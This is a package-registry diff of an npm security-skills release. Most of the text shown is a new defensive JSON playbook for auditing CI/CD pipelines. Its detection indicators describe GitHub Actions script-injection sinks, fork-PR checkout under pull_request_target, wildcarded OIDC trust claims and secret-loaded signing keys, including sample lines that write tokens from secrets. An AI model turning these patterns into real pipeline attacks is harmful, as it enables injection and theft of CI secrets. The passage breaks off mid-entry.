@blamejs/exceptd-skills 0.12.41 → 0.13.0

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (79) hide show
  1. package/CHANGELOG.md +91 -0
  2. package/bin/exceptd.js +52 -44
  3. package/data/_indexes/_meta.json +47 -47
  4. package/data/_indexes/chains.json +485 -13
  5. package/data/_indexes/jurisdiction-map.json +15 -4
  6. package/data/_indexes/section-offsets.json +1244 -1244
  7. package/data/_indexes/token-budget.json +173 -173
  8. package/data/atlas-ttps.json +54 -11
  9. package/data/attack-techniques.json +113 -17
  10. package/data/cve-catalog.json +17 -24
  11. package/data/cwe-catalog.json +8 -2
  12. package/data/framework-control-gaps.json +13 -3
  13. package/data/playbooks/ai-api.json +5 -0
  14. package/data/playbooks/cicd-pipeline-compromise.json +970 -0
  15. package/data/playbooks/cloud-iam-incident.json +4 -1
  16. package/data/playbooks/cred-stores.json +10 -0
  17. package/data/playbooks/framework.json +16 -0
  18. package/data/playbooks/hardening.json +4 -0
  19. package/data/playbooks/identity-sso-compromise.json +951 -0
  20. package/data/playbooks/idp-incident.json +3 -0
  21. package/data/playbooks/kernel.json +6 -0
  22. package/data/playbooks/llm-tool-use-exfil.json +963 -0
  23. package/data/playbooks/mcp.json +6 -0
  24. package/data/playbooks/runtime.json +4 -0
  25. package/data/playbooks/sbom.json +13 -0
  26. package/data/playbooks/secrets.json +6 -0
  27. package/data/playbooks/webhook-callback-abuse.json +916 -0
  28. package/lib/cross-ref-api.js +33 -13
  29. package/lib/cve-curation.js +12 -1
  30. package/lib/exit-codes.js +29 -0
  31. package/lib/lint-skills.js +24 -2
  32. package/lib/refresh-external.js +10 -1
  33. package/lib/scoring.js +55 -0
  34. package/manifest.json +83 -83
  35. package/orchestrator/index.js +32 -24
  36. package/package.json +1 -1
  37. package/sbom.cdx.json +122 -78
  38. package/scripts/predeploy.js +7 -13
  39. package/scripts/refresh-reverse-refs.js +86 -0
  40. package/scripts/refresh-sbom.js +21 -4
  41. package/skills/age-gates-child-safety/skill.md +1 -5
  42. package/skills/ai-attack-surface/skill.md +11 -4
  43. package/skills/ai-c2-detection/skill.md +11 -2
  44. package/skills/ai-risk-management/skill.md +4 -2
  45. package/skills/api-security/skill.md +7 -8
  46. package/skills/attack-surface-pentest/skill.md +2 -2
  47. package/skills/cloud-iam-incident/skill.md +1 -5
  48. package/skills/cloud-security/skill.md +0 -4
  49. package/skills/compliance-theater/skill.md +10 -2
  50. package/skills/container-runtime-security/skill.md +1 -3
  51. package/skills/dlp-gap-analysis/skill.md +3 -4
  52. package/skills/email-security-anti-phishing/skill.md +1 -8
  53. package/skills/exploit-scoring/skill.md +7 -2
  54. package/skills/framework-gap-analysis/skill.md +1 -1
  55. package/skills/fuzz-testing-strategy/skill.md +1 -2
  56. package/skills/global-grc/skill.md +3 -2
  57. package/skills/identity-assurance/skill.md +1 -3
  58. package/skills/idp-incident-response/skill.md +1 -4
  59. package/skills/incident-response-playbook/skill.md +1 -5
  60. package/skills/kernel-lpe-triage/skill.md +2 -2
  61. package/skills/mcp-agent-trust/skill.md +13 -3
  62. package/skills/mlops-security/skill.md +2 -3
  63. package/skills/ot-ics-security/skill.md +0 -3
  64. package/skills/policy-exception-gen/skill.md +11 -3
  65. package/skills/pqc-first/skill.md +4 -2
  66. package/skills/rag-pipeline-security/skill.md +2 -0
  67. package/skills/ransomware-response/skill.md +1 -5
  68. package/skills/researcher/skill.md +4 -3
  69. package/skills/sector-energy/skill.md +0 -4
  70. package/skills/sector-federal-government/skill.md +2 -3
  71. package/skills/sector-financial/skill.md +1 -4
  72. package/skills/sector-healthcare/skill.md +0 -5
  73. package/skills/sector-telecom/skill.md +0 -4
  74. package/skills/security-maturity-tiers/skill.md +1 -2
  75. package/skills/skill-update-loop/skill.md +4 -3
  76. package/skills/supply-chain-integrity/skill.md +4 -3
  77. package/skills/threat-model-currency/skill.md +1 -1
  78. package/skills/threat-modeling-methodology/skill.md +2 -1
  79. package/skills/webapp-security/skill.md +0 -5
@@ -0,0 +1,970 @@
1
+ {
2
+ "_meta": {
3
+ "id": "cicd-pipeline-compromise",
4
+ "version": "1.0.0",
5
+ "last_threat_review": "2026-05-17",
6
+ "threat_currency_score": 95,
7
+ "changelog": [
8
+ {
9
+ "version": "1.0.0",
10
+ "date": "2026-05-17",
11
+ "summary": "Initial seven-phase CI/CD pipeline + runner + OIDC + signing-key trust-boundary playbook. Distinct from sbom (package-registry supply chain): cicd covers the runner-fleet, the workflow YAML, the OIDC-to-cloud trust relationship, and the runner-scoped signing keys. Walks self-hosted runner registrations, workflow_dispatch + repository_dispatch trigger configuration, OIDC sub-claim patterns at the cloud trust-policy side, workflow-injection sinks (the exact class fixed in release.yml v0.12.39), and runner-scoped GPG / SSH / Sigstore key material. Closes the GRC loop with NIST SR-3 + SA-15 gaps, ISO A.8.30 + A.8.31 gaps, NIS2 Art.21(2)(j) software-development gap, SLSA L3 build-platform gap, and SOC 2 CC8.1 change-management gap.",
12
+ "cves_added": [
13
+ "CVE-2024-3094",
14
+ "CVE-2026-45321"
15
+ ],
16
+ "framework_gaps_updated": [
17
+ "nist-800-53-SR-3-runner-trust",
18
+ "nist-800-53-SA-15-build-platform",
19
+ "iso-27001-2022-A.8.30-build-pipeline",
20
+ "nis2-art21-2j-software-development",
21
+ "slsa-l3-build-platform",
22
+ "soc2-CC8.1-change-management"
23
+ ]
24
+ }
25
+ ],
26
+ "owner": "@blamejs/platform-security",
27
+ "air_gap_mode": false,
28
+ "scope": "service",
29
+ "preconditions": [
30
+ {
31
+ "id": "ci-config-readable",
32
+ "description": "Agent must be able to read the operator's CI configuration: .github/workflows/*.yml, .gitlab-ci.yml, Jenkinsfile, .circleci/config.yml, bitbucket-pipelines.yml, .buildkite/pipeline.yml, azure-pipelines.yml.",
33
+ "check": "agent_has_filesystem_read == true",
34
+ "on_fail": "halt"
35
+ },
36
+ {
37
+ "id": "operator-owns-ci-fleet",
38
+ "description": "The operator must own (or hold explicit written authorisation for) the CI provider organisation, self-hosted runner fleet, and connected cloud OIDC trust policies being inventoried.",
39
+ "check": "operator_ownership_attested == true",
40
+ "on_fail": "halt"
41
+ }
42
+ ],
43
+ "mutex": [],
44
+ "feeds_into": [
45
+ {
46
+ "playbook_id": "sbom",
47
+ "condition": "finding.includes_artifact_publish_risk == true"
48
+ },
49
+ {
50
+ "playbook_id": "cred-stores",
51
+ "condition": "finding.includes_oidc_or_token_leakage == true"
52
+ },
53
+ {
54
+ "playbook_id": "hardening",
55
+ "condition": "finding.includes_self_hosted_runner == true"
56
+ },
57
+ {
58
+ "playbook_id": "framework",
59
+ "condition": "analyze.compliance_theater_check.verdict == 'theater'"
60
+ }
61
+ ]
62
+ },
63
+ "domain": {
64
+ "name": "CI/CD pipeline + runner + OIDC + signing-key trust boundary",
65
+ "attack_class": "supply-chain",
66
+ "atlas_refs": [
67
+ "AML.T0010",
68
+ "AML.T0016"
69
+ ],
70
+ "attack_refs": [
71
+ "T1195.002",
72
+ "T1199",
73
+ "T1078.004",
74
+ "T1059",
75
+ "T1552.004",
76
+ "T1606.002"
77
+ ],
78
+ "cve_refs": [
79
+ "CVE-2024-3094",
80
+ "CVE-2026-45321"
81
+ ],
82
+ "cwe_refs": [
83
+ "CWE-77",
84
+ "CWE-78",
85
+ "CWE-88",
86
+ "CWE-94",
87
+ "CWE-426",
88
+ "CWE-345",
89
+ "CWE-1357"
90
+ ],
91
+ "d3fend_refs": [
92
+ "D3-EAL",
93
+ "D3-EHB",
94
+ "D3-CBAN",
95
+ "D3-IOPR"
96
+ ],
97
+ "frameworks_in_scope": [
98
+ "nist-800-53",
99
+ "iso-27001-2022",
100
+ "soc2",
101
+ "nis2",
102
+ "dora",
103
+ "uk-caf",
104
+ "au-ism",
105
+ "eu-cra",
106
+ "cmmc"
107
+ ]
108
+ },
109
+ "phases": {
110
+ "govern": {
111
+ "jurisdiction_obligations": [
112
+ {
113
+ "jurisdiction": "EU",
114
+ "regulation": "NIS2 Art.23",
115
+ "obligation": "notify_regulator",
116
+ "window_hours": 24,
117
+ "clock_starts": "detect_confirmed",
118
+ "evidence_required": [
119
+ "runner_fleet_inventory",
120
+ "compromised_artefact_assessment",
121
+ "oidc_trust_policy_dump"
122
+ ]
123
+ },
124
+ {
125
+ "jurisdiction": "EU",
126
+ "regulation": "DORA Art.19",
127
+ "obligation": "notify_regulator",
128
+ "window_hours": 4,
129
+ "clock_starts": "detect_confirmed",
130
+ "evidence_required": [
131
+ "ict_third_party_dependencies",
132
+ "containment_record"
133
+ ]
134
+ },
135
+ {
136
+ "jurisdiction": "EU",
137
+ "regulation": "EU CRA Art.14",
138
+ "obligation": "notify_regulator",
139
+ "window_hours": 24,
140
+ "clock_starts": "detect_confirmed",
141
+ "evidence_required": [
142
+ "actively_exploited_assessment",
143
+ "user_notification_draft"
144
+ ]
145
+ },
146
+ {
147
+ "jurisdiction": "US-Federal",
148
+ "regulation": "SEC Item 1.05 (8-K)",
149
+ "obligation": "notify_regulator",
150
+ "window_hours": 96,
151
+ "clock_starts": "analyze_complete",
152
+ "evidence_required": [
153
+ "material_impact_determination",
154
+ "incident_description"
155
+ ]
156
+ },
157
+ {
158
+ "jurisdiction": "AU",
159
+ "regulation": "APRA CPS 234",
160
+ "obligation": "notify_regulator",
161
+ "window_hours": 72,
162
+ "clock_starts": "validate_complete",
163
+ "evidence_required": [
164
+ "materiality_assessment",
165
+ "remediation_completed_evidence"
166
+ ]
167
+ }
168
+ ],
169
+ "theater_fingerprints": [
170
+ {
171
+ "pattern_id": "signed-commits-as-proof-of-build-integrity",
172
+ "claim": "Every release commit is GPG-signed by a developer, so the build pipeline produces trusted artefacts.",
173
+ "fast_detection_test": "Verify whether the SIGNING happens on the developer's machine (and the signed commit is the canonical artefact source) OR whether the runner re-signs after-the-fact with a runner-scoped key. Runner-scoped signing keys mean the runner — not the developer — is the trust root. A compromised runner forges signatures indistinguishable from the developer's. Read .github/workflows/*.yml for any `gpg --import` / `cosign sign` / `npm publish --provenance` that loads a key from a runner secret rather than a developer-side signature flow.",
174
+ "implicated_controls": [
175
+ "nist-800-53-SR-3",
176
+ "iso-27001-2022-A.8.30",
177
+ "slsa-l3-build-platform"
178
+ ]
179
+ },
180
+ {
181
+ "pattern_id": "branch-protection-as-supply-chain-defence",
182
+ "claim": "Branch protection requires PR review + status checks, therefore no malicious code can reach the build pipeline.",
183
+ "fast_detection_test": "Enumerate which workflows are reachable from fork PRs (`pull_request` trigger without `pull_request_target` distinction) and which run on `pull_request_target` with checkout of the PR head (the canonical workflow-injection foothold). Branch protection does not prevent a malicious PR-from-fork from EXECUTING in the operator's CI environment when the workflow naively trusts PR-supplied inputs."
184
+ },
185
+ {
186
+ "pattern_id": "oidc-as-secretless-therefore-safe",
187
+ "claim": "The pipeline uses OIDC-to-AWS / -GCP / -Azure with no long-lived secrets, so credential exposure is impossible.",
188
+ "fast_detection_test": "Examine the cloud-side trust policy. Common failures: (a) the `sub` claim is wildcarded across all repos in an org (`repo:myorg/*:*`) so any repo in the org assumes the role, (b) the trust policy allows ANY branch/PR (`:ref:refs/heads/*` or no ref pin) so a malicious PR run can assume the production role, (c) the `aud` claim is the default `sts.amazonaws.com` with no per-app discrimination. OIDC is no safer than the trust policy that consumes it."
189
+ }
190
+ ],
191
+ "framework_context": {
192
+ "gap_summary": "CI/CD pipelines, runners, OIDC trust relationships, and runner-scoped signing keys collectively form the most consequential supply-chain trust boundary, and most frameworks have not yet caught up. NIST 800-53 SR-3 (Supply Chain Controls and Processes) addresses procured-component supply chains but treats the operator's own build platform as out-of-scope. NIST 800-53 SA-15 (Development Process, Standards, and Tools) covers the development methodology but not the runner-fleet trust posture or the OIDC sub-claim discipline. ISO 27001 A.8.30 (Outsourced development) and A.8.31 (Separation of development, test, and operational environments) cover environment separation in principle but do not bind to OIDC trust-policy hygiene or workflow-injection prevention. NIS2 Art.21(2)(j) requires policies for software-development security but does not specify runner-fleet inventory, workflow-injection sink analysis, or per-environment OIDC sub-pinning. SLSA Level 3 build-platform requirements are the closest framework match but adoption is voluntary and not bound to any regulatory enforcement. SOC 2 CC8.1 change-management covers code-deploy change tracking but not the runner that performs the deploy. The result: a runner-fleet + workflow-injection sink + over-permissive OIDC trust policy + runner-scoped signing key together form a high-blast-radius compromise path that satisfies the literal language of every applicable control.",
193
+ "lag_score": 28,
194
+ "per_framework_gaps": [
195
+ {
196
+ "framework": "nist-800-53",
197
+ "control_id": "SR-3 — Supply Chain Controls and Processes",
198
+ "designed_for": "Protecting the organisation against supply-chain compromise of acquired components.",
199
+ "insufficient_because": "Treats the operator's own build platform as out-of-scope. A self-hosted runner compromise satisfies SR-3 trivially because the runner isn't a 'supplier' in the procurement sense, even though it has the same trust position as a compromised SDK."
200
+ },
201
+ {
202
+ "framework": "nist-800-53",
203
+ "control_id": "SA-15 — Development Process, Standards, and Tools",
204
+ "designed_for": "Establishing a documented development process that includes security tooling.",
205
+ "insufficient_because": "Covers methodology but not the runner-fleet trust posture (who can register a self-hosted runner? what isolation between job runs?) or the OIDC sub-claim discipline (does the trust policy pin per-repo, per-branch, per-environment?)."
206
+ },
207
+ {
208
+ "framework": "iso-27001-2022",
209
+ "control_id": "A.8.30 — Outsourced development",
210
+ "designed_for": "Outsourced-development risk management.",
211
+ "insufficient_because": "Does not bind to the operator's own build pipeline. Self-hosted runners and operator-owned workflow YAML are out of scope."
212
+ },
213
+ {
214
+ "framework": "iso-27001-2022",
215
+ "control_id": "A.8.31 — Separation of development, test, and operational environments",
216
+ "designed_for": "Logical/physical separation of dev/test/prod environments.",
217
+ "insufficient_because": "Does not extend to runner-fleet separation. A single self-hosted runner pool that processes both stage and prod workflows satisfies A.8.31 if the deployed environments are separate — but the runner that performs the deploy is itself the shared trust boundary."
218
+ },
219
+ {
220
+ "framework": "nis2",
221
+ "control_id": "Art.21(2)(j) — Policies and procedures for software development",
222
+ "designed_for": "Software-development security policies for essential and important entities.",
223
+ "insufficient_because": "Process-only; does not specify runner-fleet inventory, workflow-injection sink analysis, or per-environment OIDC sub-pinning. A pipeline with all three failure modes can satisfy the literal control."
224
+ },
225
+ {
226
+ "framework": "soc2",
227
+ "control_id": "CC8.1 — Change management",
228
+ "designed_for": "Code-deploy change tracking + approval.",
229
+ "insufficient_because": "Tracks the code change but not the runner that performs the deploy. A compromised runner forges the change record itself."
230
+ }
231
+ ]
232
+ },
233
+ "skill_preload": [
234
+ "supply-chain-integrity",
235
+ "exploit-scoring",
236
+ "framework-gap-analysis",
237
+ "compliance-theater",
238
+ "policy-exception-gen"
239
+ ]
240
+ },
241
+ "direct": {
242
+ "threat_context": "Q1-Q2 2026 CI/CD compromise landscape. The 2024 xz-utils backdoor (CVE-2024-3094) remains the canonical multi-year build-pipeline-trust compromise, where a maintainer-adjacent identity injected obfuscated code via the autotools layer that only the build produced — the source tree alone passed inspection. The March 2025 tj-actions/changed-files compromise (CVE-2025-30066 class) is the canonical mass GitHub Actions supply-chain incident: 20k+ repositories ran a compromised action that exfiltrated their CI secrets to a public URL within hours of the bad tag landing. Mini Shai-Hulud (CVE-2026-45321) showed the worm-via-GitHub-Actions class — a compromised npm package's postinstall script captures the runner's GITHUB_TOKEN + cloud-OIDC token, then uses them to publish more compromised packages from the operator's own pipeline. Self-hosted runner abuse remains operational: attacker-controlled forks open PRs against repositories with `pull_request_target` workflows, where the runner checks out the PR head and runs it inside the operator's CI environment with access to org secrets. Cloud OIDC trust policy weaknesses — wildcarded `sub` claims, missing branch / environment pins, default `aud` — turn the OIDC-to-cloud trust into a take-anything-from-the-org primitive. Runner-scoped signing keys (cosign keyless via OIDC, npm publish --provenance, GPG keys loaded from runner secrets) move the signing trust root onto the runner; a compromised runner forges signatures indistinguishable from a developer-signed release. v0.12.39 of this project fixed its own release.yml workflow-injection sink (the exact class) — this playbook codifies the detection pattern that finds the next one.",
243
+ "rwep_threshold": {
244
+ "escalate": 90,
245
+ "monitor": 70,
246
+ "close": 30
247
+ },
248
+ "framework_lag_declaration": "NIST 800-53 SR-3 + SA-15, ISO 27001 A.8.30 + A.8.31, NIS2 Art.21(2)(j), and SOC 2 CC8.1 collectively underspecify the build-platform trust boundary. None mandate self-hosted runner isolation between job runs, workflow-injection sink analysis, OIDC sub-claim pinning, or developer-side (not runner-side) signing-key custody. SLSA Level 3 is the closest match but adoption is voluntary and not enforced by any regulator. The xz-utils + tj-actions + Mini Shai-Hulud classes of compromise would all satisfy a literal reading of these controls. EU CRA Art.13 + Art.14 require software-product security including secure-development practices, but the runner-fleet posture is not explicitly named. UK CAF B5 (Resilient Networks & Systems) treats build infrastructure as part of the operational system but does not bind to per-runner ephemerality or workflow-injection prevention.",
249
+ "skill_chain": [
250
+ {
251
+ "skill": "supply-chain-integrity",
252
+ "purpose": "Score the build pipeline against SLSA Level 3 build-platform requirements; surface the gaps that map to operator-owned runner-fleet + workflow + OIDC trust posture.",
253
+ "required": true
254
+ },
255
+ {
256
+ "skill": "exploit-scoring",
257
+ "purpose": "Compute RWEP for each finding, weighting active-exploitation signals from the 2024-2026 CI compromise wave heavily.",
258
+ "required": true
259
+ },
260
+ {
261
+ "skill": "framework-gap-analysis",
262
+ "purpose": "Map each finding to the framework control that should have caught it and why it didn't.",
263
+ "required": true
264
+ },
265
+ {
266
+ "skill": "compliance-theater",
267
+ "purpose": "Run the theater test — does the org's claimed change-management or supply-chain posture actually catch a workflow-injection sink or a wildcarded OIDC sub claim?",
268
+ "required": true
269
+ },
270
+ {
271
+ "skill": "policy-exception-gen",
272
+ "purpose": "Generate auditor-ready exception language if a pipeline gap cannot be remediated within the jurisdiction's window.",
273
+ "skip_if": "close.exception_generation.trigger_condition == false",
274
+ "required": false
275
+ }
276
+ ],
277
+ "token_budget": {
278
+ "estimated_total": 17500,
279
+ "breakdown": {
280
+ "govern": 2200,
281
+ "direct": 1700,
282
+ "look": 1900,
283
+ "detect": 2400,
284
+ "analyze": 3800,
285
+ "validate": 3200,
286
+ "close": 2300
287
+ }
288
+ }
289
+ },
290
+ "look": {
291
+ "artifacts": [
292
+ {
293
+ "id": "workflow-yaml-inventory",
294
+ "type": "config_file",
295
+ "source": "Repository walk for .github/workflows/*.yml + .gitlab-ci.yml + Jenkinsfile + .circleci/config.yml + bitbucket-pipelines.yml + .buildkite/pipeline.yml + azure-pipelines.yml + reusable workflow files referenced via `uses:` from any of the above.",
296
+ "description": "Every workflow definition the operator owns, parsed for triggers, jobs, runner-targeting, steps, and `${{ ... }}` expression usage.",
297
+ "required": true,
298
+ "air_gap_alternative": "Local repository walk only; if the workflow references a `uses:` from a private organisation that isn't checked out locally, mark that reusable workflow as inventory_gap=reusable_workflow_unfetched."
299
+ },
300
+ {
301
+ "id": "self-hosted-runner-registrations",
302
+ "type": "api_response",
303
+ "source": "gh api /repos/{owner}/{repo}/actions/runners + gh api /orgs/{org}/actions/runners + gh api /enterprises/{ent}/actions/runners (GitHub). For GitLab: GET /projects/:id/runners + /groups/:id/runners + /admin/runners. For BuildKite/CircleCI: provider-specific runner registration list.",
304
+ "description": "All self-hosted runners registered to the operator's CI provider, with their labels, status, and which workflows can target them.",
305
+ "required": false,
306
+ "air_gap_alternative": "If CI provider APIs are unreachable, fall back to local-host runner agent process inventory (presence of `actions-runner` / `Runner.Listener` / `gitlab-runner` daemons) on operator-controlled hosts; mark cloud-runner inventory as inventory_gap=admin_api_unavailable."
307
+ },
308
+ {
309
+ "id": "oidc-trust-policy-inventory",
310
+ "type": "config_file",
311
+ "source": "AWS: iam:GetRole + iam:GetOpenIDConnectProvider for every role that names token.actions.githubusercontent.com or gitlab-oidc-token-issuer. GCP: workload-identity-federation pool + provider configuration + service-account IAM bindings. Azure: federated credentials on the app registration. Terraform / Pulumi source: grep `aws_iam_role` + `condition` blocks naming `token.actions.githubusercontent.com:sub`.",
312
+ "description": "Cloud-side trust policies that accept OIDC tokens from the CI provider, with their `sub`, `aud`, `iss` claim conditions.",
313
+ "required": true,
314
+ "air_gap_alternative": "Terraform / Pulumi source only; mark live-cloud trust-policy state as inventory_gap=cloud_api_unavailable."
315
+ },
316
+ {
317
+ "id": "runner-secrets-inventory",
318
+ "type": "api_response",
319
+ "source": "gh secret list --json (repo + org + environment scopes), gh variable list, plus the workflow YAML's `secrets:` block and `env:` block. Cross-check against GitLab CI/CD variables (GET /projects/:id/variables) and BuildKite team secrets.",
320
+ "description": "Secrets reachable from the runner, partitioned by scope (repo / env / org). Used to map blast radius of a runner compromise.",
321
+ "required": false,
322
+ "air_gap_alternative": "Workflow YAML's secret references only; mark provider-side secret inventory as inventory_gap=secret_admin_api_unavailable."
323
+ },
324
+ {
325
+ "id": "signing-key-locations",
326
+ "type": "config_file",
327
+ "source": "Grep workflow YAML for: `gpg --import`, `cosign sign`, `cosign import-key-pair`, `npm publish --provenance`, `sigstore-python`, `slsa-github-generator`, `terraform-registry-publish-key`. Capture where the private key comes from — runner secret, vault fetch, or developer-side signed artefact.",
328
+ "description": "Where each release signing key lives. Distinguishes developer-custody (signed before the runner) from runner-custody (signed by the runner).",
329
+ "required": false
330
+ },
331
+ {
332
+ "id": "fork-pr-workflow-exposure",
333
+ "type": "config_file",
334
+ "source": "For each workflow file, evaluate: trigger = `pull_request_target`? + step = `actions/checkout` with `ref: ${{ github.event.pull_request.head.sha }}` or `ref: ${{ github.head_ref }}`? + step references `${{ github.event.pull_request.title }}` / `${{ github.head_ref }}` / `${{ github.event.pull_request.body }}` as a shell argument or `script:` body without strict-quoting / env-pin? Each pattern is a separately-flagged workflow-injection sink.",
335
+ "description": "Workflow-injection sinks that combine fork-PR trigger + PR-supplied checkout + unsafe expression interpolation.",
336
+ "required": false
337
+ },
338
+ {
339
+ "id": "actions-sha-pinning",
340
+ "type": "config_file",
341
+ "source": "For each `uses:` reference in the workflow YAML, classify the version pin: 40-char SHA, semver tag, branch, or floating `@main`. Anything other than SHA is a risk surface.",
342
+ "description": "Third-party Action pin discipline. Tag-pinned actions are mutable; only SHA-pin is immutable.",
343
+ "required": false
344
+ }
345
+ ],
346
+ "collection_scope": {
347
+ "time_window": "current",
348
+ "asset_scope": "operator_owned_ci_org_and_runners_and_cloud_trust_policies",
349
+ "depth": "deep",
350
+ "sampling": "full workflow tree + full runner fleet + full OIDC trust policy enumeration. Re-collect on every new runner registration or workflow change."
351
+ },
352
+ "environment_assumptions": [
353
+ {
354
+ "assumption": "operator owns the CI organisation, runner fleet, and connected cloud OIDC trust policies",
355
+ "if_false": "Halt with authorisation_required."
356
+ },
357
+ {
358
+ "assumption": "repository tree is readable",
359
+ "if_false": "Mark workflow-yaml-inventory + fork-pr-workflow-exposure as inventory_gap=no_repo_access and halt — workflow inspection is load-bearing."
360
+ },
361
+ {
362
+ "assumption": "CI provider admin API token is configured",
363
+ "if_false": "self-hosted-runner-registrations + runner-secrets-inventory fall back to local sources; downgrade overall confidence to medium."
364
+ },
365
+ {
366
+ "assumption": "cloud provider admin API access is configured for the OIDC trust-consuming accounts",
367
+ "if_false": "oidc-trust-policy-inventory falls back to Terraform / Pulumi source; mark live-cloud trust-policy state as inventory_gap=cloud_api_unavailable."
368
+ }
369
+ ],
370
+ "fallback_if_unavailable": [
371
+ {
372
+ "artifact_id": "self-hosted-runner-registrations",
373
+ "fallback_action": "use_compensating_artifact",
374
+ "confidence_impact": "medium"
375
+ },
376
+ {
377
+ "artifact_id": "oidc-trust-policy-inventory",
378
+ "fallback_action": "use_compensating_artifact",
379
+ "confidence_impact": "high"
380
+ },
381
+ {
382
+ "artifact_id": "runner-secrets-inventory",
383
+ "fallback_action": "mark_inconclusive",
384
+ "confidence_impact": "medium"
385
+ },
386
+ {
387
+ "artifact_id": "workflow-yaml-inventory",
388
+ "fallback_action": "escalate_to_human",
389
+ "confidence_impact": "high"
390
+ }
391
+ ]
392
+ },
393
+ "detect": {
394
+ "indicators": [
395
+ {
396
+ "id": "workflow-injection-sink",
397
+ "type": "log_pattern",
398
+ "value": "Workflow trigger contains `pull_request_target` OR `issue_comment` AND a step references `${{ github.event.pull_request.title }}`, `${{ github.event.pull_request.body }}`, `${{ github.event.issue.title }}`, `${{ github.event.comment.body }}`, `${{ github.head_ref }}` directly inside a `run:` shell body or `script:` block without env-pinning.",
399
+ "description": "Canonical GitHub Actions script-injection sink. v0.12.39 fixed this class in this repo's release.yml. Attacker-controlled fork PR title becomes shell code on the runner.",
400
+ "confidence": "deterministic",
401
+ "deterministic": true,
402
+ "attack_ref": "T1059",
403
+ "false_positive_checks_required": [
404
+ "Confirm the reference IS in shell/script position. The same expression interpolated into `with:` inputs of a trusted action that itself validates its inputs is lower-severity. The sink-grade pattern is specifically `run: echo ${{ github.event.pull_request.title }}` or equivalent inside a shell context.",
405
+ "Confirm the workflow runs on a privileged runner with access to org secrets. A workflow that only sets a label using GITHUB_TOKEN with read-only contents permission is lower-blast-radius than the same sink on a runner with write+packages+id-token permissions."
406
+ ]
407
+ },
408
+ {
409
+ "id": "pull-request-target-with-pr-checkout",
410
+ "type": "log_pattern",
411
+ "value": "Workflow trigger is `pull_request_target` AND a step is `actions/checkout` with `ref: ${{ github.event.pull_request.head.sha }}` or `ref: ${{ github.head_ref }}`.",
412
+ "description": "Self-hosted runner attacker-controlled fork PR class. The runner executes attacker-supplied code with operator-tier secrets in scope.",
413
+ "confidence": "deterministic",
414
+ "deterministic": true,
415
+ "attack_ref": "T1199",
416
+ "false_positive_checks_required": [
417
+ "Confirm the workflow does NOT have a preceding `if: github.event.pull_request.author_association == 'OWNER' || ... == 'MEMBER' || ... == 'COLLABORATOR'` gate. Trusted-author gates downgrade to medium (still finding because the gate is bypassable via repo-permission elevation).",
418
+ "Confirm the runner is self-hosted OR has access to a non-trivial secret. A GitHub-hosted runner running with only the default GITHUB_TOKEN at read scope is lower-blast-radius."
419
+ ]
420
+ },
421
+ {
422
+ "id": "wildcarded-oidc-sub-claim",
423
+ "type": "log_pattern",
424
+ "value": "Cloud trust policy condition `token.actions.githubusercontent.com:sub` (or equivalent) is `repo:<org>/*:*`, `repo:*:*`, missing entirely, or otherwise wildcards across repos or branches the role grants access to.",
425
+ "description": "OIDC sub-claim wildcarded across repos or branches = any repo / any branch in scope can assume the cloud role.",
426
+ "confidence": "deterministic",
427
+ "deterministic": true,
428
+ "attack_ref": "T1078.004",
429
+ "false_positive_checks_required": [
430
+ "Confirm the role's actual permissions are scoped to the operations the wildcard repos legitimately need. A wildcarded sub on a role with `s3:GetObject` against a public-data bucket is lower-blast-radius than the same wildcard on a role with `iam:*` or `s3:DeleteObject`.",
431
+ "Confirm there is NOT a complementary `condition` block pinning `aud`, `repository_owner`, or `environment` that effectively narrows the trust. The combined conditions form the real trust surface; evaluate them together."
432
+ ]
433
+ },
434
+ {
435
+ "id": "actions-floating-tag-pin",
436
+ "type": "log_pattern",
437
+ "value": "Workflow `uses:` reference resolves to a tag or branch rather than a 40-char SHA: `actions/checkout@v4`, `tj-actions/changed-files@v44`, `org/action@main`.",
438
+ "description": "Tag-pinned third-party Actions are mutable. The 2025 tj-actions/changed-files compromise propagated via tag-repointing.",
439
+ "confidence": "high",
440
+ "deterministic": false,
441
+ "attack_ref": "T1195.002",
442
+ "false_positive_checks_required": [
443
+ "Confirm the action is GitHub-owned (`actions/*`) AND the workflow runs in a context that wouldn't grant secret-access on a compromised action. GitHub-owned tag pins are lower-risk than third-party tag pins but not zero-risk; for high-privilege workflows, demand SHA pinning regardless.",
444
+ "Confirm Dependabot or Renovate is configured to keep the SHA pin current. SHA pinning without a maintenance bot drifts into stale-vulnerable-action territory; both pin discipline AND maintenance bot need to be present."
445
+ ]
446
+ },
447
+ {
448
+ "id": "runner-scoped-signing-key",
449
+ "type": "log_pattern",
450
+ "value": "Workflow loads a private signing key from a runner secret (`gpg --import <<< \"${{ secrets.GPG_PRIVATE_KEY }}\"`, `cosign import-key-pair --key=<vault-secret>`, `echo ${{ secrets.NPM_TOKEN }} > .npmrc`) AND uses it to sign or publish a release.",
451
+ "description": "Runner-scoped signing keys move the trust root onto the runner. A compromised runner forges signatures indistinguishable from a developer-signed release.",
452
+ "confidence": "deterministic",
453
+ "deterministic": true,
454
+ "attack_ref": "T1552.004",
455
+ "false_positive_checks_required": [
456
+ "Confirm the signing path does NOT have a complementary developer-side signature (e.g. a signed commit by a trusted developer that the workflow VERIFIES before re-signing). When both signatures are present and required, the runner-key is acting as a registry-side proof, not the trust root.",
457
+ "Confirm keyless signing via OIDC (cosign keyless, sigstore-python) is in use rather than a stored private key. Keyless signing via short-lived OIDC certificates is preferred; if so, demote — the trust root is the OIDC sub claim (separately checked by wildcarded-oidc-sub-claim)."
458
+ ]
459
+ },
460
+ {
461
+ "id": "self-hosted-runner-non-ephemeral",
462
+ "type": "log_pattern",
463
+ "value": "Self-hosted runner registration shows the runner accepts jobs from public repos (or all-org repos) AND the runner is not configured as `ephemeral: true` (GitHub) / not running with `--once` (GitLab).",
464
+ "description": "Non-ephemeral self-hosted runner exposes job-to-job state. A malicious fork PR leaves payloads that the next legitimate job runs against.",
465
+ "confidence": "deterministic",
466
+ "deterministic": true,
467
+ "attack_ref": "T1199",
468
+ "false_positive_checks_required": [
469
+ "Confirm the runner pool actually accepts fork-PR triggers (some orgs restrict self-hosted runner usage to internal repos only). If the runner is configured to refuse jobs from forks, the fork-PR escalation path is closed; demote to medium.",
470
+ "Confirm the runner does NOT run inside a fresh-per-job container or VM. Ephemerality at the orchestrator layer (k8s pod-per-job, Vagrant snapshot rollback) achieves the same property as `ephemeral: true`."
471
+ ]
472
+ },
473
+ {
474
+ "id": "secret-exposed-to-fork-pr",
475
+ "type": "log_pattern",
476
